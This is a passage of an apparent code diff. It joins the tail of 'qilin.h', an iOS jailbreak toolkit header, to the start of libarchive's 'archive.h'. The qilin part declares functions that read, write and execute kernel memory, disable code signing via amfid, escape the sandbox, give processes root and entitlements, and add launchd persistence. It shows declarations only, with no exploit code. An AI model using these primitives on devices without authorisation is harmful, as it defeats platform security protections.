typedef int (*KMWFunc)(uint64_t Address, uint64_t Len, void *From);
|
||||
void setKernelMemoryReadFunction(KMRFunc F);
|
||||
void setKernelMemoryWriteFunction(KMWFunc F);
|
||||
|
||||
|
||||
// MUST call either initQiLin variant first - with or without TFP0, though, that's your call.
|
||||
|
||||
int initQiLin (mach_port_t TFP0, uint64_t KernelBase);
|
||||
int initQiLinWithKMRW(uint64_t KernelBase, KMRFunc Kmr, KMWFunc Kmw);
|
||||
int initQilinWithTFP0AndMyTaskPortAddr(mach_port_t TFP0, uint64_t MyTaskPortAddr);
|
||||
|
||||
|
||||
// System wide effects
|
||||
//
|
||||
int remountRootFS (void);
|
||||
int reSpring (void); // @FCE365 - this is for you
|
||||
|
||||
pid_t execCommand(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5 , int Flags);
|
||||
pid_t execCommandSuspended(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5);
|
||||
int execCommandAndWait(char *Cmd, char *Arg1, char *Arg2, char *Arg3, char *Arg4, char *Arg5);
|
||||
|
||||
int setTFP0AsHostSpecialPort4 (void);
|
||||
|
||||
// 1/17/18 - This is super useful
|
||||
int spawnAndPlatformize (char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5);
|
||||
int spawnAndShaiHulud (char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5);
|
||||
|
||||
int moveFileFromAppDir (char *File, char *Dest);
|
||||
int disableAutoUpdates(void);
|
||||
|
||||
// Code signing
|
||||
|
||||
// Will set AMFId's exception ports and thereby disable code signing
|
||||
//
|
||||
int castrateAmfid (void);
|
||||
|
||||
// Utility function - you probably won't need this directly.
|
||||
#define ALGORITHM_SHA256 2
|
||||
#define ALGORITHM_SHA1 1
|
||||
char *cdHashOfFile(char *fileName,int Algorithm); // Calculate CDHash of a given Mach-O (for messing with AMFI)
|
||||
|
||||
|
||||
|
||||
// Kernel Memory access (wrappers over kernel_task send right)
|
||||
uint64_t findKernelSymbol (char *Symbol);
|
||||
void setKernelSymbol (char *Symbol, uint64_t Address); // NOTE: "_kernproc", not "kernproc"
|
||||
|
||||
int readKernelMemory(uint64_t Address, uint64_t Len, void **To);
|
||||
int writeKernelMemory(uint64_t Address, uint64_t Len, void *From);
|
||||
|
||||
// 03/20/2018: Kernel execution
|
||||
|
||||
int kexec(uint64_t Address, uint64_t Arg0, uint64_t Arg1,uint64_t Arg2,uint64_t Arg3,uint64_t Arg4,uint64_t Arg5,uint64_t Arg6);
|
||||
|
||||
|
||||
// 03/20/2018
|
||||
uint64_t getAddressOfPort(pid_t Pid, mach_port_name_t Port);
|
||||
|
||||
// 06/15/2018 -------
|
||||
// Will return the address of the kernel vnode representing Path.
|
||||
uint64_t getVnodeByPathName (char *Path) ;
|
||||
uint64_t getRootVnodeAddr(void); // Convenience, for rootvnode ("/") instead of _rootvnode sym deref
|
||||
|
||||
//-------------------
|
||||
|
||||
// Not recommended, but doable: Bestow task port of Pid in TargetPid
|
||||
mach_port_t task_for_pid_in_kernel (pid_t Pid, pid_t TargetPid);
|
||||
mach_port_t task_for_pid_workaround(int Pid);
|
||||
|
||||
//--------------------------------------
|
||||
|
||||
// Process manipulation functions
|
||||
|
||||
// Finds the address of struct proc for this pid_t in kernel memory.
|
||||
uint64_t getProcStructForPid(pid_t);
|
||||
|
||||
// Finds the pid of a process given its (base) name. Note this will only
|
||||
// work on processes you are the owner of (or all, if root) - this is intentional
|
||||
pid_t findPidOfProcess (char *ProcName) ;
|
||||
|
||||
int setCSFlagsForProcAtAddr(uint64_t ProcStructAddr, int Flags, int Set);
|
||||
int setCSFlagsForPid (pid_t Whom, uint32_t Flags);
|
||||
int platformizePid(pid_t Whom);
|
||||
int rootifyPid(pid_t Whom);
|
||||
int ShaiHuludPid (pid_t Whom, uint64_t CredAddr); // leave 0 for root creds.
|
||||
int ShaiHuludProcessAtAddr(uint64_t thing, uint64_t CredAddr);
|
||||
int unShaiHuludPid (pid_t Whom);
|
||||
|
||||
int platformizeProcAtAddr(uint64_t thing);
|
||||
uint64_t borrowEntitlementsFromDonor(char *UnwittingDonor, char *Arg);
|
||||
// By request :-)
|
||||
uint64_t borrowEntitlementsFromPid(pid_t Pid);
|
||||
|
||||
|
||||
|
||||
// Presently, limited to two entitlements, and assumed boolean (true)
|
||||
int entitlePidWithKernelEnts (pid_t Whom, char *Ent1, char *Ent2);
|
||||
|
||||
// Convenience functions - do all the above , but on my process
|
||||
|
||||
int platformizeMe (void);
|
||||
int rootifyMe(void);
|
||||
|
||||
// Escape sandbox:
|
||||
// call with 0 to assume kernel cred, else specify value. Will return origCreds
|
||||
uint64_t ShaiHuludMe(uint64_t OtherCredsOr0ForKernelCreds);
|
||||
void unShaiHuludMe(uint64_t OrigCreds);
|
||||
int entitleMe(char *entitlementString);
|
||||
|
||||
uint64_t getKernelCredAddr (void);
|
||||
|
||||
|
||||
/// Vnode functions - bringing @MinZheng's APFS bypass to the masses:
|
||||
uint64_t getVnodeByPathName (char *Path);
|
||||
|
||||
/// Launchd handling utilities - just for you @launchderp :-)
|
||||
int makeLaunchdPlist (char *PlistName, char *Program, char *ProgramArguments, char *StandardOutputPath, char *StandardErrorPath, int RunAtLoad);
|
||||
int launjctlLaunchdPlist(char *Name);
|
||||
|
||||
// I use these internally, not sure anyone else would need them
|
||||
int launjctlPrintSystem (void);
|
||||
int launjctlDumpState(void);
|
||||
|
||||
|
||||
// This one is still in progress. Don't use it please.
|
||||
int movePortToPid(mach_port_t PortMoved, pid_t Pid, mach_port_name_t Name);
|
||||
int spawnJailbreakServer (char *Name, mach_port_t TFP0, mach_port_name_t NameInTarget);
|
||||
|
||||
// UI Support:
|
||||
// Provide status, error and debug print outs to user,
|
||||
// which may be redirected to GUI views, etc.
|
||||
// Default implmenentations are NSLog.
|
||||
|
||||
typedef void (status_func) (char *,...);
|
||||
void setStatusReporter (status_func *Func);
|
||||
void setErrorReporter (status_func *Func);
|
||||
void setDebugReporter (status_func *Func);
|
||||
|
||||
|
||||
// Utility functions you probably won't need unless you want to do your own debugging
|
||||
void hexDump(void *Mem, int Len, uint64_t Addr);
|
||||
void dumpARMThreadState64(_STRUCT_ARM_THREAD_STATE64 *old_state);
|
||||
|
||||
// Even more Internal/advanced use:
|
||||
uint64_t findKernelTask (void);
|
||||
uint64_t findMyProcStructInKernelMemory(void); // For other advanced uses I haven't provided already
|
||||
|
||||
static inline int spawnAndShaihuludAndWait(char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5) {
|
||||
pid_t Pid = execCommandSuspended(AmfidebPath, Arg1, Arg2, Arg3, Arg4, Arg5);
|
||||
if (!Pid)
|
||||
return 1;
|
||||
uint64_t procStruct = getProcStructForPid(Pid);
|
||||
if (!procStruct)
|
||||
return 1;
|
||||
ShaiHuludProcessAtAddr(procStruct, 0);
|
||||
kill(Pid, SIGCONT);
|
||||
int status = 0;
|
||||
waitpid(Pid, &status, 0);
|
||||
return WEXITSTATUS(status);
|
||||
}
|
||||
|
||||
static inline int spawnAndPlatformizeAndWait(char *AmfidebPath, char *Arg1, char *Arg2, char *Arg3 , char *Arg4, char *Arg5) {
|
||||
pid_t Pid = execCommandSuspended(AmfidebPath, Arg1, Arg2, Arg3, Arg4, Arg5);
|
||||
if (!Pid)
|
||||
return 1;
|
||||
uint64_t procStruct = getProcStructForPid(Pid);
|
||||
if (!procStruct)
|
||||
return 1;
|
||||
platformizeProcAtAddr(procStruct);
|
||||
kill(Pid, SIGCONT);
|
||||
int status = 0;
|
||||
waitpid(Pid, &status, 0);
|
||||
return WEXITSTATUS(status);
|
||||
}
|
||||
|
||||
#endif /* qilin_h */
|
||||
@@ -0,0 +1,741 @@
|
||||
/*-
|
||||
* Copyright (c) 2003-2007 Tim Kientzle
|
||||
* All rights reserved.
|
||||
*
|
||||
* Redistribution and use in source and binary forms, with or without
|
||||
* modification, are permitted provided that the following conditions
|
||||
* are met:
|
||||
* 1. Redistributions of source code must retain the above copyright
|
||||
* notice, this list of conditions and the following disclaimer.
|
||||
* 2. Redistributions in binary form must reproduce the above copyright
|
||||
* notice, this list of conditions and the following disclaimer in the
|
||||
* documentation and/or other materials provided with the distribution.
|
||||
*
|
||||
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR(S) ``AS IS'' AND ANY EXPRESS OR
|
||||
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
|
||||
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
|
||||
* IN NO EVENT SHALL THE AUTHOR(S) BE LIABLE FOR ANY DIRECT, INDIRECT,
|
||||
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
|
||||
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
|
||||
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
|
||||
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
|
||||
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
|
||||
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
|
||||
*
|
||||
* $FreeBSD: src/lib/libarchive/archive.h.in,v 1.50 2008/05/26 17:00:22 kientzle Exp $
|
||||
*/
|
||||
|
||||
#ifndef ARCHIVE_H_INCLUDED
|
||||
#define ARCHIVE_H_INCLUDED
|
||||
|
||||
/*
|
||||
* Note: archive.h is for use outside of libarchive; the configuration
|
||||
* headers (config.h, archive_platform.h, etc.) are purely internal.
|
||||
* Do NOT use HAVE_XXX configuration macros to control the behavior of
|
||||
* this header! If you must conditionalize, use predefined compiler and/or
|
||||
* platform macros.
|
||||
*/
|
||||
#if defined(__BORLANDC__) && __BORLANDC__ >= 0x560
|
||||
# define __LA_STDINT_H <stdint.h>
|
||||
#elif !defined(__WATCOMC__) && !defined(_MSC_VER) && !defined(__INTERIX) && !defined(__BORLANDC__)
|
||||
# define __LA_STDINT_H <inttypes.h>
|
||||
#endif
|
||||
|
||||
#include <sys/stat.h>
|
||||
#include <sys/types.h> /* Linux requires this for off_t */
|
||||
#ifdef __LA_STDINT_H
|
||||
# include __LA_STDINT_H /* int64_t, etc. */
|
||||
#endif
|
||||
#include <stdio.h> /* For FILE * */
|
||||
|
||||
/* Get appropriate definitions of standard POSIX-style types. */
|
||||
/* These should match the types used in 'struct stat' */
|
||||
#if defined(_WIN32) && !defined(__CYGWIN__)
|
||||
#define __LA_INT64_T __int64
|
||||
# if defined(_SSIZE_T_DEFINED)
|
||||
# define __LA_SSIZE_T ssize_t
|
||||
# elif defined(_WIN64)
|
||||
# define __LA_SSIZE_T __int64
|
||||
# else
|
||||
# define __LA_SSIZE_T long
|
||||
# endif
|
||||
# if defined(__BORLANDC__)
|
||||
# define __LA_UID_T uid_t
|
||||
# define __LA_GID_T gid_t
|
||||
# else
|
||||
# define __LA_UID_T short
|
||||
# define __LA_GID_T short
|
||||
# endif
|
||||
#else
|
||||
#include <unistd.h> /* ssize_t, uid_t, and gid_t */
|
||||
#define __LA_INT64_T int64_t
|
||||
#define __LA_SSIZE_T ssize_t
|
||||
#define __LA_UID_T uid_t
|
||||
#define __LA_GID_T gid_t
|
||||
#endif
|
||||
|
||||
/*
|
||||
* On Windows, define LIBARCHIVE_STATIC if you're building or using a
|
||||
* .lib. The default here assumes you're building a DLL. Only
|
||||
* libarchive source should ever define __LIBARCHIVE_BUILD.
|
||||
*/
|
||||
#if ((defined __WIN32__) || (defined _WIN32) || defined(__CYGWIN__)) && (!defined LIBARCHIVE_STATIC)
|
||||
# ifdef __LIBARCHIVE_BUILD
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL __attribute__((dllexport)) extern
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllexport)
|
||||
# endif
|
||||
# else
|
||||
# ifdef __GNUC__
|
||||
# define __LA_DECL __attribute__((dllimport)) extern
|
||||
# else
|
||||
# define __LA_DECL __declspec(dllimport)
|
||||
# endif
|
||||
# endif
|
||||
#else
|
||||
/* Static libraries or non-Windows needs no special declaration. */
|
||||
# define __LA_DECL
|
||||
#endif
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
/*
|
||||
* The version number is provided as both a macro and a function.
|
||||
* The macro identifies the installed header; the function identifies
|
||||
* the library version (which may not be the same if you're using a
|
||||
* dynamically-linked version of the library). Of course, if the
|
||||
* header and library are very different, you should expect some
|
||||
* strangeness. Don't do that.
|
||||
*/
|
||||
|
||||
/*
|
||||
* The version number is expressed as a single integer that makes it
|
||||
* easy to compare versions at build time: for version a.b.c, the
|
||||
* version number is printf("%d%03d%03d",a,b,c). For example, if you
|
||||
* know your application requires version 2.12.108 or later, you can
|
||||
* assert that ARCHIVE_VERSION >= 2012108.
|
||||
*
|
||||
* This single-number format was introduced with libarchive 1.9.0 in
|
||||
* the libarchive 1.x family and libarchive 2.2.4 in the libarchive
|
||||
* 2.x family. The following may be useful if you really want to do
|
||||
* feature detection for earlier libarchive versions (which defined
|
||||
* ARCHIVE_API_VERSION and ARCHIVE_API_FEATURE instead):
|
||||
*
|
||||
* #ifndef ARCHIVE_VERSION_NUMBER
|
||||
* #define ARCHIVE_VERSION_NUMBER \
|
||||
* (ARCHIVE_API_VERSION * 1000000 + ARCHIVE_API_FEATURE * 1000)
|
||||
* #endif
|
||||
*/
|
||||
#define ARCHIVE_VERSION_NUMBER 2008003
|
||||
__LA_DECL int archive_version_number(void);
|
||||
|
||||
/*
|
||||
* Textual name/version of the library, useful for version displays.
|
||||
*/
|
||||
#define ARCHIVE_VERSION_STRING "libarchive 2.8.3"
|
||||
__LA_DECL const char * archive_version_string(void);
|
||||
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/*
|
||||
* Deprecated; these are older names that will be removed in favor of
|
||||
* the simpler definitions above.
|
||||
*/
|
||||
#define ARCHIVE_VERSION_STAMP ARCHIVE_VERSION_NUMBER
|
||||
__LA_DECL int archive_version_stamp(void);
|
||||
#define ARCHIVE_LIBRARY_VERSION ARCHIVE_VERSION_STRING
|
||||
__LA_DECL const char * archive_version(void);
|
||||
#define ARCHIVE_API_VERSION (ARCHIVE_VERSION_NUMBER / 1000000)
|
||||
__LA_DECL int archive_api_version(void);
|
||||
#define ARCHIVE_API_FEATURE ((ARCHIVE_VERSION_NUMBER / 1000) % 1000)
|
||||
__LA_DECL int archive_api_feature(void);
|
||||
#endif
|
||||
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/* This should never have been here in the first place. */
|
||||
/* Legacy of old tar assumptions, will be removed in libarchive 3.0. */
|
||||
#define ARCHIVE_BYTES_PER_RECORD 512
|
||||
#define ARCHIVE_DEFAULT_BYTES_PER_BLOCK 10240
|
||||
#endif
|
||||
|
||||
/* Declare our basic types. */
|
||||
struct archive;
|
||||
struct archive_entry;
|
||||
|
||||
/*
|
||||
* Error codes: Use archive_errno() and archive_error_string()
|
||||
* to retrieve details. Unless specified otherwise, all functions
|
||||
* that return 'int' use these codes.
|
||||
*/
|
||||
#define ARCHIVE_EOF 1 /* Found end of archive. */
|
||||
#define ARCHIVE_OK 0 /* Operation was successful. */
|
||||
#define ARCHIVE_RETRY (-10) /* Retry might succeed. */
|
||||
#define ARCHIVE_WARN (-20) /* Partial success. */
|
||||
/* For example, if write_header "fails", then you can't push data. */
|
||||
#define ARCHIVE_FAILED (-25) /* Current operation cannot complete. */
|
||||
/* But if write_header is "fatal," then this archive is dead and useless. */
|
||||
#define ARCHIVE_FATAL (-30) /* No more operations are possible. */
|
||||
|
||||
/*
|
||||
* As far as possible, archive_errno returns standard platform errno codes.
|
||||
* Of course, the details vary by platform, so the actual definitions
|
||||
* here are stored in "archive_platform.h". The symbols are listed here
|
||||
* for reference; as a rule, clients should not need to know the exact
|
||||
* platform-dependent error code.
|
||||
*/
|
||||
/* Unrecognized or invalid file format. */
|
||||
/* #define ARCHIVE_ERRNO_FILE_FORMAT */
|
||||
/* Illegal usage of the library. */
|
||||
/* #define ARCHIVE_ERRNO_PROGRAMMER_ERROR */
|
||||
/* Unknown or unclassified error. */
|
||||
/* #define ARCHIVE_ERRNO_MISC */
|
||||
|
||||
/*
|
||||
* Callbacks are invoked to automatically read/skip/write/open/close the
|
||||
* archive. You can provide your own for complex tasks (like breaking
|
||||
* archives across multiple tapes) or use standard ones built into the
|
||||
* library.
|
||||
*/
|
||||
|
||||
/* Returns pointer and size of next block of data from archive. */
|
||||
typedef __LA_SSIZE_T archive_read_callback(struct archive *,
|
||||
void *_client_data, const void **_buffer);
|
||||
|
||||
/* Skips at most request bytes from archive and returns the skipped amount */
|
||||
#if ARCHIVE_VERSION_NUMBER < 2000000
|
||||
/* Libarchive 1.0 used ssize_t for the return, which is only 32 bits
|
||||
* on most 32-bit platforms; not large enough. */
|
||||
typedef __LA_SSIZE_T archive_skip_callback(struct archive *,
|
||||
void *_client_data, size_t request);
|
||||
#elif ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/* Libarchive 2.0 used off_t here, but that is a bad idea on Linux and a
|
||||
* few other platforms where off_t varies with build settings. */
|
||||
typedef off_t archive_skip_callback(struct archive *,
|
||||
void *_client_data, off_t request);
|
||||
#else
|
||||
/* Libarchive 3.0 uses int64_t here, which is actually guaranteed to be
|
||||
* 64 bits on every platform. */
|
||||
typedef __LA_INT64_T archive_skip_callback(struct archive *,
|
||||
void *_client_data, __LA_INT64_T request);
|
||||
#endif
|
||||
|
||||
/* Returns size actually written, zero on EOF, -1 on error. */
|
||||
typedef __LA_SSIZE_T archive_write_callback(struct archive *,
|
||||
void *_client_data,
|
||||
const void *_buffer, size_t _length);
|
||||
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
/* Open callback is actually never needed; remove it in libarchive 3.0. */
|
||||
typedef int archive_open_callback(struct archive *, void *_client_data);
|
||||
#endif
|
||||
|
||||
typedef int archive_close_callback(struct archive *, void *_client_data);
|
||||
|
||||
/*
|
||||
* Codes for archive_compression.
|
||||
*/
|
||||
#define ARCHIVE_COMPRESSION_NONE 0
|
||||
#define ARCHIVE_COMPRESSION_GZIP 1
|
||||
#define ARCHIVE_COMPRESSION_BZIP2 2
|
||||
#define ARCHIVE_COMPRESSION_COMPRESS 3
|
||||
#define ARCHIVE_COMPRESSION_PROGRAM 4
|
||||
#define ARCHIVE_COMPRESSION_LZMA 5
|
||||
#define ARCHIVE_COMPRESSION_XZ 6
|
||||
#define ARCHIVE_COMPRESSION_UU 7
|
||||
#define ARCHIVE_COMPRESSION_RPM 8
|
||||
|
||||
/*
|
||||
* Codes returned by archive_format.
|
||||
*
|
||||
* Top 16 bits identifies the format family (e.g., "tar"); lower
|
||||
* 16 bits indicate the variant. This is updated by read_next_header.
|
||||
* Note that the lower 16 bits will often vary from entry to entry.
|
||||
* In some cases, this variation occurs as libarchive learns more about
|
||||
* the archive (for example, later entries might utilize extensions that
|
||||
* weren't necessary earlier in the archive; in this case, libarchive
|
||||
* will change the format code to indicate the extended format that
|
||||
* was used). In other cases, it's because different tools have
|
||||
* modified the archive and so different parts of the archive
|
||||
* actually have slightly different formts. (Both tar and cpio store
|
||||
* format codes in each entry, so it is quite possible for each
|
||||
* entry to be in a different format.)
|
||||
*/
|
||||
#define ARCHIVE_FORMAT_BASE_MASK 0xff0000
|
||||
#define ARCHIVE_FORMAT_CPIO 0x10000
|
||||
#define ARCHIVE_FORMAT_CPIO_POSIX (ARCHIVE_FORMAT_CPIO | 1)
|
||||
#define ARCHIVE_FORMAT_CPIO_BIN_LE (ARCHIVE_FORMAT_CPIO | 2)
|
||||
#define ARCHIVE_FORMAT_CPIO_BIN_BE (ARCHIVE_FORMAT_CPIO | 3)
|
||||
#define ARCHIVE_FORMAT_CPIO_SVR4_NOCRC (ARCHIVE_FORMAT_CPIO | 4)
|
||||
#define ARCHIVE_FORMAT_CPIO_SVR4_CRC (ARCHIVE_FORMAT_CPIO | 5)
|
||||
#define ARCHIVE_FORMAT_SHAR 0x20000
|
||||
#define ARCHIVE_FORMAT_SHAR_BASE (ARCHIVE_FORMAT_SHAR | 1)
|
||||
#define ARCHIVE_FORMAT_SHAR_DUMP (ARCHIVE_FORMAT_SHAR | 2)
|
||||
#define ARCHIVE_FORMAT_TAR 0x30000
|
||||
#define ARCHIVE_FORMAT_TAR_USTAR (ARCHIVE_FORMAT_TAR | 1)
|
||||
#define ARCHIVE_FORMAT_TAR_PAX_INTERCHANGE (ARCHIVE_FORMAT_TAR | 2)
|
||||
#define ARCHIVE_FORMAT_TAR_PAX_RESTRICTED (ARCHIVE_FORMAT_TAR | 3)
|
||||
#define ARCHIVE_FORMAT_TAR_GNUTAR (ARCHIVE_FORMAT_TAR | 4)
|
||||
#define ARCHIVE_FORMAT_ISO9660 0x40000
|
||||
#define ARCHIVE_FORMAT_ISO9660_ROCKRIDGE (ARCHIVE_FORMAT_ISO9660 | 1)
|
||||
#define ARCHIVE_FORMAT_ZIP 0x50000
|
||||
#define ARCHIVE_FORMAT_EMPTY 0x60000
|
||||
#define ARCHIVE_FORMAT_AR 0x70000
|
||||
#define ARCHIVE_FORMAT_AR_GNU (ARCHIVE_FORMAT_AR | 1)
|
||||
#define ARCHIVE_FORMAT_AR_BSD (ARCHIVE_FORMAT_AR | 2)
|
||||
#define ARCHIVE_FORMAT_MTREE 0x80000
|
||||
#define ARCHIVE_FORMAT_RAW 0x90000
|
||||
#define ARCHIVE_FORMAT_XAR 0xA0000
|
||||
|
||||
/*-
|
||||
* Basic outline for reading an archive:
|
||||
* 1) Ask archive_read_new for an archive reader object.
|
||||
* 2) Update any global properties as appropriate.
|
||||
* In particular, you'll certainly want to call appropriate
|
||||
* archive_read_support_XXX functions.
|
||||
* 3) Call archive_read_open_XXX to open the archive
|
||||
* 4) Repeatedly call archive_read_next_header to get information about
|
||||
* successive archive entries. Call archive_read_data to extract
|
||||
* data for entries of interest.
|
||||
* 5) Call archive_read_finish to end processing.
|
||||
*/
|
||||
__LA_DECL struct archive *archive_read_new(void);
|
||||
|
||||
/*
|
||||
* The archive_read_support_XXX calls enable auto-detect for this
|
||||
* archive handle. They also link in the necessary support code.
|
||||
* For example, if you don't want bzlib linked in, don't invoke
|
||||
* support_compression_bzip2(). The "all" functions provide the
|
||||
* obvious shorthand.
|
||||
*/
|
||||
__LA_DECL int archive_read_support_compression_all(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_bzip2(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_compress(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_gzip(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_lzma(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_none(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_program(struct archive *,
|
||||
const char *command);
|
||||
__LA_DECL int archive_read_support_compression_program_signature
|
||||
(struct archive *, const char *,
|
||||
const void * /* match */, size_t);
|
||||
|
||||
__LA_DECL int archive_read_support_compression_rpm(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_uu(struct archive *);
|
||||
__LA_DECL int archive_read_support_compression_xz(struct archive *);
|
||||
|
||||
__LA_DECL int archive_read_support_format_all(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_ar(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_cpio(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_empty(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_gnutar(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_iso9660(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_mtree(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_raw(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_tar(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_xar(struct archive *);
|
||||
__LA_DECL int archive_read_support_format_zip(struct archive *);
|
||||
|
||||
|
||||
/* Open the archive using callbacks for archive I/O. */
|
||||
__LA_DECL int archive_read_open(struct archive *, void *_client_data,
|
||||
archive_open_callback *, archive_read_callback *,
|
||||
archive_close_callback *);
|
||||
__LA_DECL int archive_read_open2(struct archive *, void *_client_data,
|
||||
archive_open_callback *, archive_read_callback *,
|
||||
archive_skip_callback *, archive_close_callback *);
|
||||
|
||||
/*
|
||||
* A variety of shortcuts that invoke archive_read_open() with
|
||||
* canned callbacks suitable for common situations. The ones that
|
||||
* accept a block size handle tape blocking correctly.
|
||||
*/
|
||||
/* Use this if you know the filename. Note: NULL indicates stdin. */
|
||||
__LA_DECL int archive_read_open_filename(struct archive *,
|
||||
const char *_filename, size_t _block_size);
|
||||
/* archive_read_open_file() is a deprecated synonym for ..._open_filename(). */
|
||||
__LA_DECL int archive_read_open_file(struct archive *,
|
||||
const char *_filename, size_t _block_size);
|
||||
/* Read an archive that's stored in memory. */
|
||||
__LA_DECL int archive_read_open_memory(struct archive *,
|
||||
void * buff, size_t size);
|
||||
/* A more involved version that is only used for internal testing. */
|
||||
__LA_DECL int archive_read_open_memory2(struct archive *a, void *buff,
|
||||
size_t size, size_t read_size);
|
||||
/* Read an archive that's already open, using the file descriptor. */
|
||||
__LA_DECL int archive_read_open_fd(struct archive *, int _fd,
|
||||
size_t _block_size);
|
||||
/* Read an archive that's already open, using a FILE *. */
|
||||
/* Note: DO NOT use this with tape drives. */
|
||||
__LA_DECL int archive_read_open_FILE(struct archive *, FILE *_file);
|
||||
|
||||
/* Parses and returns next entry header. */
|
||||
__LA_DECL int archive_read_next_header(struct archive *,
|
||||
struct archive_entry **);
|
||||
|
||||
/* Parses and returns next entry header using the archive_entry passed in */
|
||||
__LA_DECL int archive_read_next_header2(struct archive *,
|
||||
struct archive_entry *);
|
||||
|
||||
/*
|
||||
* Retrieve the byte offset in UNCOMPRESSED data where last-read
|
||||
* header started.
|
||||
*/
|
||||
__LA_DECL __LA_INT64_T archive_read_header_position(struct archive *);
|
||||
|
||||
/* Read data from the body of an entry. Similar to read(2). */
|
||||
__LA_DECL __LA_SSIZE_T archive_read_data(struct archive *,
|
||||
void *, size_t);
|
||||
|
||||
/*
|
||||
* A zero-copy version of archive_read_data that also exposes the file offset
|
||||
* of each returned block. Note that the client has no way to specify
|
||||
* the desired size of the block. The API does guarantee that offsets will
|
||||
* be strictly increasing and that returned blocks will not overlap.
|
||||
*/
|
||||
#if ARCHIVE_VERSION_NUMBER < 3000000
|
||||
__LA_DECL int archive_read_data_block(struct archive *a,
|
||||
const void **buff, size_t *size, off_t *offset);
|
||||
#else
|
||||
__LA_DECL int archive_read_data_block(struct archive *a,
|
||||
const void **buff, size_t *size,
|
||||
__LA_INT64_T *offset);
|
||||
#endif
|
||||
|
||||
/*-
|
||||
* Some convenience functions that are built on archive_read_data:
|
||||
* 'skip': skips entire entry
|
||||
* 'into_buffer': writes data into memory buffer that you provide
|
||||
* 'into_fd': writes data to specified filedes
|
||||
*/
|
||||
__LA_DECL int archive_read_data_skip(struct archive *);
|
||||
__LA_DECL int archive_read_data_into_buffer(struct archive *,
|
||||
void *buffer, __LA_SSIZE_T len);
|
||||
__LA_DECL int archive_read_data_into_fd(struct archive *, int fd);
|
||||
|
||||
/*
|
||||
* Set read options.
|
||||
*/
|
||||
/* Apply option string to the format only. */
|
||||
__LA_DECL int archive_read_set_format_options(struct archive *_a,
|
||||
const char *s);
|
||||
/* Apply option string to the filter only. */
|
||||
__LA_DECL int archive_read_set_filter_options(struct archive *_a,
|
||||
const char *s);
|
||||
/* Apply option string to both the format and the filter. */
|
||||
__LA_DECL int archive_read_set_options(struct archive *_a,
|
||||
const char *s);
|
||||
|
||||
/*-
|
||||
* Convenience function to recreate the current entry (whose header
|
||||
* has just been read) on disk.
|
||||
*
|
||||
* This does quite a bit more than just copy data to disk. It also:
|
||||
* - Creates intermediate directories as required.
|
||||
* - Manages directory permissions: non-writable directories will
|
||||
* be initially created with write permission enabled; when the
|
||||
* archive is closed, dir permissions are edited to the values specified
|
||||
* in the archive.
|
||||
* - Checks hardlinks: hardlinks will not be extracted unless the
|
||||
* linked-to file was also extracted within the same session. (TODO)
|
||||
*/
|
||||
|
||||
/* The "flags" argument selects optional behavior, 'OR' the flags you want. */
|
||||
|
||||
/* Default: Do not try to set owner/group. */
|
||||
#define ARCHIVE_EXTRACT_OWNER (0x0001)
|
||||
/* Default: Do obey umask, do not restore SUID/SGID/SVTX bits. */
|
||||
#define ARCHIVE_EXTRACT_PERM (0x0002)
|
||||
/* Default: Do not restore mtime/atime. */
|
||||
#define ARCHIVE_EXTRACT_TIME (0x0004)
|
||||
/* Default: Replace existing files. */
|
||||
#define ARCHIVE_EXTRACT_NO_OVERWRITE (0x0008)
|
||||
/* Default: Try create first, unlink only if create fails with EEXIST. */
|
||||
#define ARCHIVE_EXTRACT_UNLINK (0x0010)
|
||||
/* Default: Do not restore ACLs. */
|
||||
#define ARCHIVE_EXTRACT_ACL (0x0020)
|
||||
/* Default: Do not restore fflags. */
|
||||
#define ARCHIVE_EXTRACT_FFLAGS (0x0040)
|
||||
/* Default: Do not restore xattrs. */
|
||||
#define ARCHIVE_EXTRACT_XATTR (0x0080)
|
||||
/* Default: Do not try to guard against extracts redirected by symlinks. */
|
||||
/* Note: With ARCHIVE_EXTRACT_UNLINK, will remove any intermediate symlink. */
|
||||
#define ARCHIVE_EXTRACT_SECURE_SYMLINKS (0x0100)
|
||||
/* Default: Do not reject entries with '..' as path elements. */
|
||||
